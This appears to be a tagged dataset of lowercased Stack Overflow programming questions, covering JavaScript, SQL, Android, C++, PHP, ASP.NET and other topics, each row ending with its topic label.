get source code of external page **using native js**   i d like to know how to get the source code of an external page using <strong>native  no-library</strong> javascript - is it possible     (notice: i m trying to get the json contents of a web page like <a href= http://scratch.mit.edu/api/v1/project/1000/ format=json  rel= nofollow >this one</a>)    i can t use external libraries such as jquery.   <hr>   edit - turns out that using the <code>xmlhttprequest</code> works very well  as well as (if i have a server available) i can use...   <pre><code>var my_file = &lt; php echo    .file_get_contents( file.json ).     &gt; </code></pre>   also  i can use <code>json.parse()</code> to get the contents of a file:   <pre><code>// extending from the previous block of code var my_json = json.parse(my_file); </code></pre>,javascript
efficiently creating a nested for loop x layers deep  this may be a simple thing to do  but i need to create a loop structure in such a way that it loops y^x times to create all possible combinations of x and y. for example  if there were 4 x s and each x had 2 y s  i would want to do something like:   <pre><code>for(int a=0; a &lt; y; a++){     for(int b=0; b &lt; y; b++){         for(int c=0; c &lt; y; c++){             for(int d=0; d &lt; y; d++){                 // create a new object with values of a  b  c  d             }         }     } } </code></pre>   basically  create x number of nested for loops to create a total of y^x objects (in this case  16 of them). what would be the simplest and most efficient way to do this  assuming the values x and y can change  i m assuming recursion may be involved in some way  but i m not 100% sure how to go about it.,objective-c
how do i make a submit button that will send the information to my email   i m making a survey for my teacher to hand out to the class (he doesn t know how and i know more than he does)    my problem is i m not too familiar with html and don t know how to get my submit button working.    here is my code:   <pre><code>&lt;html&gt; &lt;h2&gt;     please fill this out as feedback. &lt;/h2&gt; &lt;body&gt; &lt;form&gt; &lt;form method= post  action= mailto:example_email@hostname.com &gt; &lt;input type= hidden  name= re  value= survey &gt; &lt;td&gt;on a scale of 1-10  how well did you understand this tutorial &lt;/td&gt;&lt;br&gt; &lt;td&gt;     &lt;input type= radio  value= 1  name= q1 &gt;1     &lt;input type= radio  value= 2  name= q1 &gt;2     &lt;input type= radio  value= 3  name= q1 &gt;3     &lt;input type= radio  value= 4  name= q1 &gt;4     &lt;input type= radio  value= 5  name= q1 &gt;5     &lt;input type= radio  value= 6  name= q1 &gt;6     &lt;input type= radio  value= 7  name= q1 &gt;7     &lt;input type= radio  value= 8  name= q1 &gt;8     &lt;input type= radio  value= 9  name= q1 &gt;9     &lt;input type= radio  value= 10  name= q1 &gt;10 &lt;/td&gt; &lt;br&gt; &lt;br&gt; &lt;td&gt;on a scale of 1-10  how much previous knowledge did you have before this tutorial &lt;/td&gt;&lt;br&gt; &lt;td&gt;     &lt;input type= radio  value= 1  name= q2 &gt;1     &lt;input type= radio  value= 2  name= q2 &gt;2     &lt;input type= radio  value= 3  name= q2 &gt;3     &lt;input type= radio  value= 4  name= q2 &gt;4     &lt;input type= radio  value= 5  name= q2 &gt;5     &lt;input type= radio  value= 6  name= q2 &gt;6     &lt;input type= radio  value= 7  name= q2 &gt;7     &lt;input type= radio  value= 8  name= q2 &gt;8     &lt;input type= radio  value= 9  name= q2 &gt;9     &lt;input type= radio  value= 10  name= q2 &gt;10 &lt;/td&gt; &lt;br&gt; &lt;br&gt; &lt;td&gt;on a scale of 1-10  how comfortable do you think your skills are with the knowledge you learned &lt;/td&gt;&lt;br&gt; &lt;td&gt;     &lt;input type= radio  value= 1  name= q3 &gt;1     &lt;input type= radio  value= 2  name= q3 &gt;2     &lt;input type= radio  value= 3  name= q3 &gt;3     &lt;input type= radio  value= 4  name= q3 &gt;4     &lt;input type= radio  value= 5  name= q3 &gt;5     &lt;input type= radio  value= 6  name= q3 &gt;6     &lt;input type= radio  value= 7  name= q3 &gt;7     &lt;input type= radio  value= 8  name= q3 &gt;8     &lt;input type= radio  value= 9  name= q3 &gt;9     &lt;input type= radio  value= 10  name= q3 &gt;10 &lt;/td&gt; &lt;br&gt; &lt;br&gt; &lt;td&gt;on a scale of 1-10  how likely are you to ever use html again &lt;/td&gt;&lt;br&gt; &lt;td&gt;     &lt;input type= radio  value= 1  name= q4 &gt;1     &lt;input type= radio  value= 2  name= q4 &gt;2     &lt;input type= radio  value= 3  name= q4 &gt;3     &lt;input type= radio  value= 4  name= q4 &gt;4     &lt;input type= radio  value= 5  name= q4 &gt;5     &lt;input type= radio  value= 6  name= q4 &gt;6     &lt;input type= radio  value= 7  name= q4 &gt;7     &lt;input type= radio  value= 8  name= q4 &gt;8     &lt;input type= radio  value= 9  name= q4 &gt;9     &lt;input type= radio  value= 10  name= q4 &gt;10 &lt;/td&gt; &lt;br&gt; &lt;br&gt; &lt;td&gt;on a scale of 1-10  did you enjoy taking part in this &lt;/td&gt;&lt;br&gt; &lt;td&gt;     &lt;input type= radio  value= 1  name= q5 &gt;1     &lt;input type= radio  value= 2  name= q5 &gt;2     &lt;input type= radio  value= 3  name= q5 &gt;3     &lt;input type= radio  value= 4  name= q5 &gt;4     &lt;input type= radio  value= 5  name= q5 &gt;5     &lt;input type= radio  value= 6  name= q5 &gt;6     &lt;input type= radio  value= 7  name= q5 &gt;7     &lt;input type= radio  value= 8  name= q5 &gt;8     &lt;input type= radio  value= 9  name= q5 &gt;9     &lt;input type= radio  value= 10  name= q5 &gt;10 &lt;/td&gt; &lt;br&gt; &lt;br&gt; please include your thoughts  sugestions  or questions here:&lt;br&gt; &lt;textarea name= comments  rows= 6  cols= 50 &gt;&lt;/textarea&gt; &lt;br&gt; &lt;br&gt;  &lt;td&gt;&lt;input type= submit  value= send &gt;&lt;/td&gt; &lt;/form&gt; &lt;/body&gt; </code></pre>       i m sorry if it s messy  i m just trying to throw this together and i m not so great with html as it is.    where i have example_email@hostname.com  i have my real email there.    thanks!,html
java oo main method confusion  so i m just starting to learn java and have come to this example:   <pre><code>class dog {     int size;     string breed;     string name;      void bark() {         system.out.println( ruff! ruff! );     } } // class dog  class dogtestdrive {          public static void main(string[] args) {             dog d = new dog();             d.size = 40;             d.bark();         } // end main } // class dogtestdrive </code></pre>   when i try to run it i get the following error: error: main method not found in class dog  please define the main method as:    public static void main(string[] args)    i don t see where is the problem  this should work with only one main mathod.,java
is it possible to send email through mysql  i want to send email using mysql. how it is possible.   <pre><code>create trigger test.autosendfromdrop before insert on test.emaildrop for each row begin   /* start the writing of the email file here*/         select  concat( to:   new.to)            concat( from:   new.from)            concat( subject:   new.subject)            new.body       into outfile                  c:\\inetpub\\mailroot\\pickup\\mail.txt             fields terminated by  \r\n  escaped by   ;             end; </code></pre>,mysql
difference between :destroy and :delete for :dependent in has_one association  in rails document <a href= http://guides.rubyonrails.org/association_basics.html  rel= nofollow >active record associations</a>  the first 2 values of <code>:dependent</code> for <code>has_one</code> are:   <pre><code>4.2.2.4 :dependent  controls what happens to the associated object when its owner is destroyed:      :destroy causes the associated object to also be destroyed     :delete causes the associated object to be deleted directly from the database (so callbacks will not execute) </code></pre>   my understanding about <code>:destroy</code> is for example  a <code>customer</code> <code>has_one</code> <code>address</code>. with <code>:dependent =&gt; :destroy</code>   if <code>customer</code> is deleted  then <code>address</code> will be deleted automatically from the database after <code>customer</code> is deleted from the database and we usually use <code>:destroy</code>. what s use of the <code>:delete</code>,ruby-on-rails
why can t i write to a file if it is located within an if statement   i am trying to create a very simple program that writes to a file  but can t understand why it won t let me write to a file if i put it within an if statement! here s the code:   <pre><code>#include  stdafx.h  #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; #include &lt;stdlib.h&gt;  using namespace std; void readfile();  int main() {     string line;     string today;     string readorwrite;      cout &lt;&lt;  do you want to write to a file or read a file    &lt;&lt; endl;     cout &lt;&lt;  type \ write\  or \ read\   ;     cin &gt;&gt; readorwrite;      if (readorwrite ==  read )     {         readfile();     }     else if (readorwrite ==  write )     {         cout &lt;&lt;  how are you today    &lt;&lt; endl;         getline(cin  today);          ofstream myjournal;         myjournal.open( journal.txt   ios::app);         myjournal &lt;&lt; today &lt;&lt;    ;         myjournal.close();     }     else     {         return 0;     }     return 0; } void readfile() {     ifstream myjournal;     myjournal.open( journal.txt );     string line;      if (myjournal.is_open())     {         while (getline(myjournal  line))         {             cout &lt;&lt; line &lt;&lt; endl;         }         myjournal.close();     }     else     {         cerr &lt;&lt;  error opening file  ;         exit(1);     } } </code></pre>   when i move it out of the if statement  it works smoothly and is able to write to the file  but when i place it inside  it opens the program  asks me the <strong> do you want to write to a file or read a file   </strong>  i type  write   then it says <strong> how are you today   </strong> and then ends the program  printing <strong> press any key to continue... </strong>. any help,c++
how to change background of imageview of custom view group while swiping view pager   i m trying to change the background of imageview of a custom view group while swiping in view pager but don t works  the background of imageview no refresh. i dont know why. the problem occurs when i want to change the background of imageview inside custom view group. in the activity i have the next code:    public class example5 extends appcompatactivity {   <pre><code>        private viewpager view_pager;         private custompageradapter pageradapter;         private customviewgroup customviewgroup          @override         protected void oncreate(bundle savedinstancestate) {             super.oncreate(savedinstancestate);             setcontentview(r.layout.activity_example5);             toolbar toolbar = findviewbyid(r.id.toolbar);             setsupportactionbar(toolbar);                      view_pager = findviewbyid(r.id.view_pager);                      view_pager.addonpagechangelistener(new viewpager.onpagechangelistener() {                         @override                         public void onpagescrolled(int position  float positionoffset  int positionoffsetpixels) {                          }                          @override                         public void onpageselected(int position) {                             the problem here when i want to change the background of imageview inside customviewgroup                             customviewgrouponeimage.changeimage();                         }                          @override                         public void onpagescrollstatechanged(int state) {                          }                     });                      pageradapter = new custompageradapter(this);                     view_pager.setadapter(pageradapter);        customviewgroup = new customviewgroup(this);       }     } </code></pre>   my custom view group here   <pre><code>public class customviewgroup extends viewgroup {                      private context context;                      public customviewgrouponeimage(context context) {                         super(context);                         init(context);                     }                      public customviewgrouponeimage(context context  attributeset attrs) {                         super(context  attrs);                         init(context);                     }                      public customviewgrouponeimage(context context  attributeset attrs  int defstyleattr) {                         super(context  attrs  defstyleattr);                         init(context);                     }                      @override                     protected void onlayout(boolean changed  int l  int t  int r  int b) {                          int width = getwidth();                         int height = getheight();                          view child = getchildat(0);                          measurechild(child  width  height);                          child.layout(0  0  child.getmeasuredwidth()  child.getmeasuredheight());                     }                      public void changeimage(){                          imageview child = (imageview) getchildat(0);                          child.setbackgroundresource(r.drawable.color2);                     }                      private void init(context context){                         this.context = context;                         imageview imageview = new imageview(context);                         layoutparams params = new layoutparams(layoutparams.match_parent  layoutparams.match_parent);                         imageview.setlayoutparams(params);                         imageview.setbackgroundresource(r.drawable.color1);                         addview(imageview);                     }                 } </code></pre>   my layout of activity   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;                 &lt;relativelayout                     xmlns:android= http://schemas.android.com/apk/res/android                      xmlns:app= http://schemas.android.com/apk/res-auto                      xmlns:tools= http://schemas.android.com/tools                      android:layout_width= match_parent                      android:layout_height= match_parent                      app:layout_behavior= @string/appbar_scrolling_view_behavior                   tools:context= com.example.wolf.examplecolor.exampleviewpager.example5                      tools:showin= @layout/activity_example5 &gt;                      &lt;android.support.v4.view.viewpager                         android:id= @+id/view_pager                          android:layout_width= match_parent                          android:layout_height= 200dp /&gt;                    &lt;com.example.wolf.examplecolor.exampleviewpager.example5.customviewgroup                         android:layout_width= 200dp                          android:layout_height= 200dp                          android:layout_below= @id/view_pager /&gt;                 &lt;/relativelayout&gt; </code></pre>   however if i have the next layout this works when swiping view pager changing the background of the imageview.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;            &lt;relativelayout                     xmlns:android= http://schemas.android.com/apk/res/android                      xmlns:app= http://schemas.android.com/apk/res-auto                      xmlns:tools= http://schemas.android.com/tools                      android:layout_width= match_parent                      android:layout_height= match_parent                      app:layout_behavior= @string/appbar_scrolling_view_behavior                   tools:context= com.example.wolf.examplecolor.exampleviewpager.example5                      tools:showin= @layout/activity_example5 &gt;                      &lt;android.support.v4.view.viewpager                         android:id= @+id/view_pager                          android:layout_width= match_parent                          android:layout_height= 200dp /&gt;                       &lt;imageview                         android:id= @+id/img_image                          android:layout_width= wrap_content                          android:layout_height= wrap_content                          android:layout_below= @id/view_pager  /&gt;                  &lt;/relativelayout&gt; </code></pre>   and later changing the listener of viewpager for this   <pre><code>        public class example5 extends appcompatactivity {               private viewpager view_pager;             private imageview img_image;             private custompageradapter pageradapter;             private customviewgroup customviewgroup              @override             protected void oncreate(bundle savedinstancestate) {                 super.oncreate(savedinstancestate);                 setcontentview(r.layout.activity_example5);                 toolbar toolbar = findviewbyid(r.id.toolbar);                 setsupportactionbar(toolbar);                  view_pager.addonpagechangelistener(new viewpager.onpagechangelistener() {                             @override                             public void onpagescrolled(int position  float positionoffset  int positionoffsetpixels) {                              }                              @override                             public void onpageselected(int position) {     img_image.setbackgroundresource(r.drawable.color2);                              }                              @override                             public void onpagescrollstatechanged(int state) {                             }                         });                img_image = findviewbyid(r.id.img_image);                     img_image.setbackgroundresource(r.drawable.color1);            }         } </code></pre>   thanks    greetting.,android
how to implement paging in pdf for iphone applicaton   i have implemented a pdf reader application in which i want to implement paging.  how can i implement this   please advise me.,iphone
mandelbrot slicing image to improve speed  the mandelbrot set currently displays the image in one whole set by calling the function from the main.   <pre><code>// this shows the whole set.     compute_mandelbrot(-2.0  1.0  1.125  -1.125); </code></pre>   my plan is to split the image up into 16 horizontal slices and then display it to improve the speed as can then parallel program this in. <strong>i m unsure how to create these slices  can someone explain  redirect me or show some example code</strong>    image details:   <pre><code>// the size of the image to generate. const int width = 100; const int height = 100;  // the number of times to iterate before we assume that a point isn t in the // mandelbrot set.  const int max_iterations = 500; </code></pre>   for the purpose of testing  ill send the full code  there are no errors - it is not coded efficiently evidently as the whole process takes over 30 seconds to output  which is way too long for a mandelbrot set  hence the urgency of the slicing and parallel programming.    if anyone has any other pointers then they would be greatly appreciated     e.g. where to implement parallel programming   <pre><code>    using std::chrono::duration_cast; using std::chrono::milliseconds; using std::complex; using std::cout; using std::endl; using std::ofstream;  // define the alias  the_clock  for the clock type we re going to use. typedef std::chrono::steady_clock the_clock;   // the size of the image to generate. const int width = 100; const int height = 100;  // the number of times to iterate before we assume that a point isn t in the // mandelbrot set.  const int max_iterations = 500;  // the image data. // each pixel is represented as 0xrrggbb. uint32_t image[height][width];   // write the image to a tga file with the given name. // format specification: http://www.gamers.org/dengine/quake3/tga.txt void write_tga(const char *filename) {     ofstream outfile(filename  ofstream::binary);      uint8_t header[18] = {         0  // no image id         0  // no colour map         2  // uncompressed 24-bit image         0  0  0  0  0  // empty colour map specification         0  0  // x origin         0  0  // y origin         width &amp; 0xff  (width &gt;&gt; 8) &amp; 0xff  // width         height &amp; 0xff  (height &gt;&gt; 8) &amp; 0xff  // height         24  // bits per pixel         0  // image descriptor     };     outfile.write((const char *)header  18);      for (int y = 0; y &lt; height; ++y)     {         for (int x = 0; x &lt; width; ++x)         {             uint8_t pixel[3] = {                 image[y][x] &amp; 0xff  // blue channel                 (image[y][x] &gt;&gt; 8) &amp; 0xff  // green channel                 (image[y][x] &gt;&gt; 16) &amp; 0xff  // red channel             };             outfile.write((const char *)pixel  3);         }     }      outfile.close();     if (!outfile)     {         // an error has occurred at some point since we opened the file.         cout &lt;&lt;  error writing to   &lt;&lt; filename &lt;&lt; endl;         exit(1);     } }   // render the mandelbrot set into the image array. // the parameters specify the region on the complex plane to plot. void compute_mandelbrot(double left  double right  double top  double bottom) {     for (int y = 0; y &lt; height; ++y)     {         for (int x = 0; x &lt; width; ++x)         {             // work out the point in the complex plane that             // corresponds to this pixel in the output image.             complex&lt;double&gt; c(left + (x * (right - left) / width)                  top + (y * (bottom - top) / height));              // start off z at (0  0).             complex&lt;double&gt; z(0.0  0.0);              // iterate z = z^2 + c until z moves more than 2 units             // away from (0  0)  or we ve iterated too many times.             int iterations = 0;             while (abs(z) &lt; 2.0 &amp;&amp; iterations &lt; max_iterations)             {                 z = (z * z) + c;                  ++iterations;             }              /*if (iterations == max_iterations)             {                 // z didn t escape from the circle.                 // this point is in the mandelbrot set.                 image[y][x] = 0x58dc77; // green             }*/             if (iterations &lt;= 10)             {                 // z didn t escape from the circle.                 // this point is in the mandelbrot set.                 image[y][x] = 0xa9c3f6; // light blue             }             else if (iterations &lt;=100)             {                  // this point is in the mandelbrot set.                 image[y][x] = 0x36924b; // darkest green             }             else if (iterations &lt;= 200)             {                  // this point is in the mandelbrot set.                 image[y][x] = 0x5fb072; // lighter green             }             else if (iterations &lt;= 300)             {                 // z didn t escape from the circle.                 // this point is in the mandelbrot set.                 image[y][x] = 0x7cd891; // mint green             }             else if (iterations &lt;= 450)             {                 // z didn t escape from the circle.                 // this point is in the mandelbrot set.                 image[y][x] = 0x57f97d; // green             }             else             {                 // z escaped within less than max_iterations                 // iterations. this point isn t in the set.                 image[y][x] = 0x58dc77; // light green             }         }     } }   int main(int argc  char *argv[]) {     cout &lt;&lt;  processing  &lt;&lt; endl;      // start timing     the_clock::time_point start = the_clock::now();      // this shows the whole set.     compute_mandelbrot(-2.0  1.0  1.125  -1.125);      // this zooms in on an interesting bit of detail.     //compute_mandelbrot(-0.751085  -0.734975  0.118378  0.134488);      // stop timing     the_clock::time_point end = the_clock::now();      // compute the difference between the two times in milliseconds     auto time_taken = duration_cast&lt;milliseconds&gt;(end - start).count();     cout &lt;&lt;  computing the mandelbrot set took   &lt;&lt; time_taken &lt;&lt;   ms.  &lt;&lt; endl;       write_tga( output.tga );      return 0; } </code></pre>,c++
how can i update multiple rows with join in mysql   i have 3 tables:<br> importer:<br> <a href= https://i.stack.imgur.com/cfmwu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cfmwu.png  alt= importer ></a>    categories:<br> <a href= https://i.stack.imgur.com/jtueg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jtueg.png  alt= categories ></a>    product_categories:<br> <a href= https://i.stack.imgur.com/3dp8n.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3dp8n.png  alt= product_categories ></a>    how can i set  categories.name  to  importer.tag  when  importer.sku  =  product_categories.product_reference,sql
how do i calculate the total billed amount for a particular day   i have a database table where there is a field- billed_amount which keeps the records of the billed amount for a particular person and another field- billing_date. now i want to display the total billed amount for all people for a particular day  for example today  to generate day to day sales report.,sql
calculate growth percentage between previous year and current year  i want to calculate the growth percentage over the previous year.     table structure:   <pre><code>customername | sum_1415 | sum_1516  </code></pre>   i have tried this query:   <pre><code>select customername  sum(sum_1415)  sum(sum_1516)       round(sum(sum_1516)-sum(sum_1415)/(select sum(sum_1415) from dummy) 2) as percentage  from dummy  group by customername  order by sum_1415 desc  limit 15 </code></pre>,mysql
create a file in c# <pre><code>using system; using system.io;  namespace createfile {      class mainclass     {          public static void main (string[] args)         {             console.writeline ( enter the file name: );             string filename = console.readline ();              system.io.file.create(@ g:\new folder (5)\  + filename);                     }     }   } </code></pre>,c#
iphone sdk displaying thumbnail  i am trying to acquire a thumbnail (of the first frame) from a video so i can display it. anyone been succesful at doing this  if so howd you do it,iphone
textboxes and dropdown appearing when visibility set to false  we have a page that allows users to update data using about a dozen textboxes and several dropdowns. half of all the fields are permanently visible and the rest are hidden. if a checkbox is checked  the page reveals the rest of the fields.    when first arriving on the page  the two textboxes and dropdown in question are not visible  along with the rest of the fields not visible  unless the checkbox is checked.    however  with the update functionality (a button click) the two textboxes and dropdown appear with the other permanently visible fields. oddly enough  the labels corresponding to the fields that should be hidden do not appear. another point is that  if the checkbox is checked and then unchecked  the fields in question are not visible.     so it appears that the issue is with the update functionality but we haven t been able to pinpoint what the issue is. we have tried setting the visibility to false in the .ascx.cs file but that has had zero effect along with other things we ve tried.     is there anything obvious we might be missing from our code below     ascx:   <pre><code> &lt;asp:formview id= formview1  runat= server  datasourceid= odsqwer  datakeynames= oid      oniteminserting= formview1_iteminserting  enablemodelvalidation= true      onitemupdating= formview1_itemupdating &gt; ... &lt;tr&gt;     &lt;td style= width: 200px &gt;         &lt;asp:label id= contactfnamelabel  runat= server  text= vendor contact (first name):              visible= false &gt;&lt;/asp:label&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;asp:textbox width= 400px  id= contactfnametextbox  runat= server  text= &lt;%# bind( firstname ) %&gt;              visible= false &gt;&lt;/asp:textbox&gt;         &lt;asp:requiredfieldvalidator id= contactfnamevalidator  runat= server  controltovalidate= contactfnametextbox              display= dynamic  errormessage= contact name cannot be blank  visible= false &gt;&lt;/asp:requiredfieldvalidator&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td style= width: 200px &gt;         &lt;asp:label id= contactlnamelabel  runat= server  text= vendor contact (last name):              visible= false &gt;&lt;/asp:label&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;asp:textbox width= 400px  id= contactlnametextbox  runat= server  text= &lt;%# bind( lastname ) %&gt;              visible= false &gt;&lt;/asp:textbox&gt;         &lt;asp:requiredfieldvalidator id= contactlnamevalidator  runat= server  controltovalidate= contactlnametextbox              display= dynamic  errormessage= contact last name cannot be blank  visible= false &gt;&lt;/asp:requiredfieldvalidator&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td style= width: 200px &gt;         &lt;asp:label id= countrylabel  runat= server  text= country:  visible= false &gt;&lt;/asp:label&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;asp:dropdownlist width= 405px  id= countrydropdownlist  runat= server  appenddatabounditems= true              datasourceid= odscountry  datatextfield= name  datavaluefield= oid  selectedvalue= &lt;%# bind( countryid ) %&gt;              visible= false &gt;             &lt;asp:listitem selected= true  text= &amp;lt;--select here--&amp;gt;  value= 0 &gt;&lt;/asp:listitem&gt;         &lt;/asp:dropdownlist&gt;         &lt;asp:requiredfieldvalidator id= countryvalidator  runat= server  controltovalidate= countrydropdownlist              display= dynamic  errormessage= country must be selected  initialvalue= 0 &gt;&lt;/asp:requiredfieldvalidator&gt;     &lt;/td&gt; &lt;/tr&gt; ... &lt;asp:button id= updatebutton  runat= server  causesvalidation= true  commandname= update  onclick= btnupdateclick      cssclass= button  text= update  visible= &lt;%# true %&gt;  /&gt; ... &lt;asp:objectdatasource id= odsqwer  runat= server  insertmethod= addrequest          typename= bll.testrequest  selectmethod= getrequest  oninserting= odsqwer_inserting          updatemethod= updaterequest  onupdating= odsqwer_updating  oninserted= odsqwer_inserted          onupdated= odsqwer_updated  oldvaluesparameterformatstring= {0} &gt; ... </code></pre>   aspx:   <pre><code>protected void btnupdateclick(object sender  eventargs e) {     checkbox chk = (checkbox)formview1.findcontrol( isnewcheckbox );      formview1.findcontrol( contactfnametextbox ).visible = chk.checked;     formview1.findcontrol( contactfnamelabel ).visible = chk.checked;     formview1.findcontrol( contactfnamevalidator ).visible = chk.checked;      formview1.findcontrol( contactlnametextbox ).visible = chk.checked;     formview1.findcontrol( contactlnamelabel ).visible = chk.checked;     formview1.findcontrol( contactlnamevalidator ).visible = chk.checked;      formview1.findcontrol( statedropdownlist ).visible = chk.checked;     formview1.findcontrol( statelabel ).visible = chk.checked; } </code></pre>,asp.net
php create file on server to download  i try to create a file on a webserver and than download it. using this code   <pre><code>&lt; php $text =  test ; $filename =  testfile.txt ; file_put_contents($filename  $text  file_append | lock_ex) or die ( unable to open file! );  header( cache-control: public ); header( content-description: file transfer ); header( content-length:  . filesize( $filename ). ; ); header( content-disposition: attachment; filename=$filename ); header( content-type: application/octet-stream;  );  header( content-transfer-encoding: binary ); readfile($filename);  &gt; </code></pre>   the problem is  i always get the  unable to open file! .. if i try it without the or die..... it downloads the file but is is empty. i tried to crate an folder on the server with all rights (chmod 777...) but and than load/create the file there but that also don t work. :(,php
number only script doesn t work in firefox 17  hi i have below code in a javascript. this does not work (you can type in letters) on firefox 17 and works fine with other browsers. can some one tell me a workaround  thank you for looking.   <pre><code>function onlynumbers(evt) { var e = event || evt; // for trans-browser compatibility var charcode = e.which || e.keycode;  if (charcode &gt; 31 &amp;&amp; (charcode &lt; 48 || charcode &gt; 57))     return false;  return true;  } </code></pre>   edit:   <pre><code>&lt;input name= outletno  type= text  id= outletno  size= 15  maxlength= 10  onkeypress= return onlynumbers()  value= &lt; = htmlentities ($values[ outletno ])  &gt; &gt;&lt;/td&gt; </code></pre>,javascript
mysql: excluding  i have a database table called  <code>members</code> . assigned to members is a <code>position</code>.     <code>positions</code> come from <code>departments</code>. i have <code>departments</code>  then <code>sub-departments</code> within those and positions within the sub-departments.    hopefully i haven t lost you.    what i want to do is is select all the members within a department  excluding any of those members from one position within that department.     departments  table: (includes departments and sub-departments)   <pre><code>id     name                  parent_id 1      department #1         null 2      department #2         null 3      sub department #1     1        4      sub department #2     1        5      sub department #3     2    </code></pre>    departments_positions  table:      <pre><code>id     name             sub_department_id 1      position #1      3 2      position #2      3 3      position #3      4     </code></pre>    members_positions  table:      <pre><code>id     member_id     position_id 1      1             1 2      1             2 3      1             3          </code></pre>   here s my mysql code:      <pre><code>select m.* from members as m      left join members_positions as mp on mp.member_id = m.id     left join departments_positions as dp on mp.position_id = dp.id     left join departments as sd on dp.sub_department_id = sd.id     left join departments as d on sd.parent_id = d.id     where mp.position_id !=  2  and d.id =  1      group by m.id </code></pre>   so as you can see i want to extract the members that are in  department #1  (id: 1 from departments_table) but not members who are in position #2 (id: 2 from departments_positions table) of that department.    hopefully i am making sense. my code above doesn t seem to work. it just exports everyone from the department.,mysql
get maximum value code from a datatable in c# throws invalidcastexception  i have a datatable similar to    <pre><code>rank  year  value 1     1990  1234556.5676 2     2000  12313.1212  3     2010  131242.1234 </code></pre>   i have the following code which i wrote with the help of the following thread: <a href= https://stackoverflow.com/questions/2442525/how-to-select-min-and-max-values-of-a-column-in-a-datatable >how to select min and max values of a column in a datatable </a>   <pre><code>double dmaxvalue = 0; foreach (datarow dr in dsview.tables[0].rows) {     double dvalue = dr.field&lt;double&gt;( value );     dmaxvalue = math.max(dmaxvalue  dvalue); } </code></pre>   this is throwing an error  specified cast is not valid . what am i missing here and also how can i get the value of the year column once i find the max value  the year needs to be returned to the calling program.    <strong>edit- (solution):</strong>  with the help of slacks i figured out how to accomplish the task. firstly  i found that the data in my datatable was of type string so converted the value to double and determine the maximum value. then used a variable to find the corresponding year.   <pre><code>string syear = string.empty; double dmaxvalue = double.minvalue; foreach (datarow dr in dsview.tables[0].rows) {     double dvalue = convert.todouble(dr.field&lt;string&gt;( value ));     if (dvalue &gt; dmaxvalue)     {         syear = dr[ year ].tostring();     }     dmaxvalue = math.max(dmaxvalue  dvalue);                             } return syear; </code></pre>,c#
trouble processing  java/sql/savepoint.class   i am getting the following error i have searched in google but i could not get solution can any suggest me.i have deleted jar files i have went through orderandexport tab tried what everything but my problem could not get solved.   <pre><code>dx 1 error; aborting [2014-01-08 15:08:09 - amecmens] conversion to dalvik format failed with error 1 [2014-01-08 15:09:01 - amecmens] dx  trouble processing  java/sql/savepoint.class :  ill-advised or mistaken usage of a core class (java.* or javax.*) when not building a core library.  this is often due to inadvertently including a core library file in your application s project  when using an ide (such as  eclipse). if you are sure you re not intentionally defining a  core class  then this is the most likely explanation of what s going on.  however  you might actually be trying to define a class in a core namespace  the source of which you may have taken  for example  from a non-android virtual machine project. this will most assuredly not work. at a minimum  it jeopardizes the compatibility of your app with future versions of the platform. it is also often of questionable legality. if you really intend to build a core library -- which is only appropriate as part of creating a full virtual machine distribution  as opposed to compiling an application -- then use  the  --core-library  option to suppress this error message. </code></pre>,android
how to write sql query for the following case.   i have one change report table which has two columns changedtime filename <img src= https://i.stack.imgur.com/3oewy.png  alt= enter image description here >        please consider this table has over 1000 records    here i need to query all the changes based on following factors   <pre><code>i) interval (i.e-1mins ) ii) no of files </code></pre>   it means when we have given interval 1 min and no of files 10.      if the the no of changed files more than 10 in any of the 1 minute interval  we need to get all the changed files exists in that 1 minute interval    example:   <pre><code>  i) consider we have 15 changes in the interval 11:52 to 11:53   ii)and consider we have 20 changes in the interval 12:58 to 12:59 </code></pre>   now my expected results would be 35 records.    thanks in advance.,sql
rounding result to 2 decimal places  i have  rounded the   leginches  but how do i round this to 2 decimal points instead of none     specifically - (int)round(leginches)   <pre><code>result = (istitle)  @ leg span  : [nsstring stringwithformat:@ %dcm / %din   (int)legcentimetres  (int)round(leginches)]; </code></pre>,objective-c
sum and append totals to csv files in python  i have the following data in a csv file:   <pre><code>symbol name amount a john 2 d mary 6 e bob 9 m liz -8 p peter-2 </code></pre>   i m new to programming and python specifically  how do i append two sum at he bottom of the table  one showing the sum of the positive amounts and the second showing the sum of the negative amounts.,python
asp.net trigger updatepanel on html button click  i have created a user control in which i use a jquery plugin (datatables). i would like to refresh the user control when i click on a button that i have generated inside the user control like this :   <pre><code>_dt +=  &lt;button id=\ validconf\  runat=\ server\  type=\ button\  class=\ btn btn-success\  onclick=\ $( #modalconfig_  + id +   ).modal( hide );\ &gt;valid&lt;/button&gt;  </code></pre>   now  in my page i have the following code :   <pre><code>    &lt;asp:scriptmanager enablepartialrendering= true  id= scriptmanager1  runat= server  enablepagemethods= true &gt;&lt;/asp:scriptmanager&gt;     &lt;asp:updatepanel id= updatepanel1  runat= server &gt;         &lt;contenttemplate&gt;             &lt;uc:grille runat= server  id= grille1 /&gt;         &lt;/contenttemplate&gt;         &lt;triggers&gt;             &lt;asp:asyncpostbacktrigger controlid= validconf  /&gt;          &lt;/triggers&gt;     &lt;/asp:updatepanel&gt; </code></pre>   it returns this error :  unable to find control in update panel for trigger     am i not doing it the good way or am i missing something   is it even possible,asp.net
